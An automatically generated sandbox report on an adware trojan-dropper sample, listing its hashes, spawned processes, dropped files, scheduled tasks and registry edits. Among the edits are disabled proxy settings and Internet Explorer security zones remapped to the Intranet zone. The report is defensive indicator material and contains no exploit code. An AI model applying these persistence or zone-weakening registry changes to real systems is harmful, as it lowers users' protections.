Gen.Variant.Adware.Mikey.21858_7c2954ddcf

by malwarelabrobot on September 4th, 2015 in Malware Descriptions.

Trojan-Dropper.Win32.Agent.bjplmd (Kaspersky), Gen:Variant.Adware.Mikey.21858 (B) (Emsisoft), Gen:Variant.Adware.Mikey.21858 (AdAware), Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan-Dropper, Trojan, Adware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 7c2954ddcf1fa274aabc95040093a76f
SHA1: e14763a9ca7630a553d1909a6aaa0454ca82091d
SHA256: 40c8a6ac1c5d947d9475a85c1d718fc620cfdd774efc1d3c3966a81df62d1d99
SSDeep: 24576:OZM8bO85OL6HWE2WBxY1M7wUp8Dn8HAnTSyWzRgHYjTtLXG1d84SGa:tI5OL6HWE2WYm7Ze8HAnTSyqRg4PtLXl
Size: 1229824 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: Program Application
Created at: 2015-08-30 10:17:33
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-Dropper. Trojan program, intended for stealth installation of other malware into user's system.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

smu.exe:2640
smu.exe:2840
smu.exe:2368
BROWSE~2.EXE:3196
net1.exe:3444
net1.exe:3124
BrowserHelper.exe:844
sc.exe:2784
sc.exe:3132
sc.exe:556
sc.exe:2984
ns5.tmp:2512
wscript.exe:2192
%original file name%.exe:260
%original file name%.exe:652
net.exe:3072
net.exe:3420
ins_ytd.exe:2488
sma.exe:3856
sma.exe:3840
sma.exe:3036
sma.exe:3852
sma.exe:3000
setup.exe:2752
tcpsvcs.exe:2404
tcpsvcs.exe:2144
find.exe:432

The Trojan injects its code into the following process(es):

YTDownloader.exe:220

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process smu.exe:2640 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%WinDir%\Tasks\SMW_UpdateTask_Time_3835323735333432352d3437415a556c2a3223346c41.job (968 bytes)
%Documents and Settings%\All Users\Application Data\SearchModulePlus\smhe.js (407 bytes)

The process smu.exe:2840 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%WinDir%\Temp\vup.tmp (94 bytes)
%Documents and Settings%\All Users\Application Data\SearchModulePlus\smhe.js (411 bytes)

The process %original file name%.exe:260 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%WinDir%\Tasks\Inst_Rep.job (874 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Install_26402\bxsdk32.dll (2386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Install_26402\ins_ytd.exe (87780 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_26912\%original file name%.exe (7726 bytes)

The Trojan deletes the following file(s):

%WinDir%\Tasks\Inst_Rep.job (0 bytes)

The process %original file name%.exe:652 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%WinDir%\Tasks\Inst_Rep.job (724 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_14767\%original file name%.exe (7726 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)

The process ins_ytd.exe:2488 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\setup.exe (2555480 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv7.tmp (242191 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\setup1.exe (229796 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\NK.lky (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\D1958.dll (14 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\NK.lky (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\D1958.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\setup1.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\setup.exe (0 bytes)

The process setup.exe:2752 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\YTDownloader\libeay32.dll (25608 bytes)
%WinDir%\Tasks\YTDownloader.job (942 bytes)
%Program Files%\YTDownloader\rtmpdump.exe (14285 bytes)
%Program Files%\YTDownloader\YTDownloader.exe (44363 bytes)
%Program Files%\YTDownloader\DownloadAPI.dll (48488 bytes)
%Program Files%\YTDownloader\Unelevate.exe (2751 bytes)
%Program Files%\YTDownloader\BrowserHelper.exe (11020 bytes)
%Program Files%\YTDownloader\YTD-icon-128x128.png (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp (4 bytes)
%Program Files%\YTDownloader\BrowserHelperSrv.exe (4227 bytes)
%Program Files%\YTDownloader\Updater.exe (17563 bytes)
%Program Files%\YTDownloader\download_ani.gif (9 bytes)
%Program Files%\YTDownloader\DownloadHelper.exe (10774 bytes)
%Program Files%\YTDownloader\AniGIF.ocx (5635 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\nsProcess.dll (4 bytes)
%Documents and Settings%\%current user%\Desktop\YTDownloader.lnk (1 bytes)
%Program Files%\YTDownloader\ssleay32.dll (4079 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\ns12.tmp (6 bytes)
%Program Files%\YTDownloader\convert_aniBW.gif (7 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\YTDownloader\YTDownloader.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\System.dll (11 bytes)
%Program Files%\YTDownloader\sbmntr.sys (28 bytes)
%Program Files%\Common Files\System\SysMenu.dll (15204 bytes)
%Program Files%\YTDownloader\YTDUninstall.exe (19285 bytes)
%Program Files%\YTDownloader\Download_completed.ico (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\AccDownload.dll (9226 bytes)
%Program Files%\YTDownloader\convert_ani.gif (765 bytes)
%Program Files%\YTDownloader\converter.exe (61480 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\nsExec.dll (6 bytes)
%WinDir%\Tasks\YTDownloaderUpd.job (912 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\nsProcess.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\AccDownload.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\ns12.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\nsExec.dll (0 bytes)

The process tcpsvcs.exe:2404 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe (10136 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\sma.exe (8560 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll (3312 bytes)
%WinDir%\Tasks\SMWPUpd.job (2148 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smci32.dll (45051 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\ns5.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi2.tmp (244481 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\Updater.exe (25776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsProcess.dll (4 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\rlz_id.dll (3616 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smi32.exe (12088 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe (56684 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsExec.dll (6 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\AccD.dll (7192 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsProcess.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\ns5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\AccD.dll (0 bytes)

Registry activity

The process smu.exe:2640 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus\Users\Default]
"Spt" = "E9 94 9A 0E 6A B8 3E 67 CA 3A B0 E1 0C A5 24 68"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Scf" = "22 41 EB 4B A8 B3 C5 10 96 A1 03 F0 F4 9F D1 22"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKLM\SOFTWARE\Wow6432Node\SearchModulePlus\SMUpdPlus\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Gcf" = "80 46 55 E5 90 D4 4A C0 31 0A 29 D6 59 11 73 09"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6A 35 9C E7 3C 26 00 0C 8D F7 5D A5 6D 60 09 E7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process smu.exe:2840 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Ult" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Scf" = "5C 3A 88 1F E5 D3 9D 91 3A BE A8 5D E6 7F 97 97"

"Rlt" = "Type: REG_QWORD, Length: 8"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"LoadAppInit_DLLs" = "0"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Gcf" = "95 54 FC 2B 3C 5F 0E 65 32 C2 18 F9 FF 17 41 4A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 76 7D 95 BC 3C 71 6E C7 60 6E CE 9C E1 82 85"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Ubl" = ""

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process smu.exe:2368 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 E3 17 D4 1C 96 31 8B B2 05 BC 8A D6 AE 9F 4F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The process BROWSE~2.EXE:3196 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 F7 5F 29 35 0F 4E A8 9B E8 EF 82 BB B2 AD DC"

The process net1.exe:3444 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DE F0 36 80 89 72 BF 61 BD EA 6C C5 E3 90 4E FF"

The process net1.exe:3124 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "20 48 BA 66 AF 5D 3F DC F2 05 BD 3F AD 44 5B EA"

The process BrowserHelper.exe:844 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E CF BE 25 BC 99 47 F0 08 EA 47 E6 E1 E3 9B 92"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

The process sc.exe:2784 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4C E8 41 81 AB E7 2C 4A 47 41 E9 3F 83 A1 CB AA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

The process sc.exe:3132 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3B A3 39 19 A0 67 BC 2F D6 22 07 5D 51 3E A8 E5"

The process sc.exe:556 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "18 9C 87 62 51 6D B0 0B 3B 76 31 4C 7E A1 9E 77"

The process sc.exe:2984 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 CE 18 2B A4 4B 74 AD AA B0 67 EE DF B4 6B E9"

The process ns5.tmp:2512 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "14 D2 48 59 23 61 2C 2B CB C6 83 55 02 F7 B5 41"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

The process wscript.exe:2192 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A7 04 06 C0 F5 D9 2E 3C DA 2A E3 1D 18 2D 7E 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"LangID" = "09 04"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Common Files\Goobzo\GBUpdatePlus]
"smu.exe" = "Search Module Plus Update Service"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

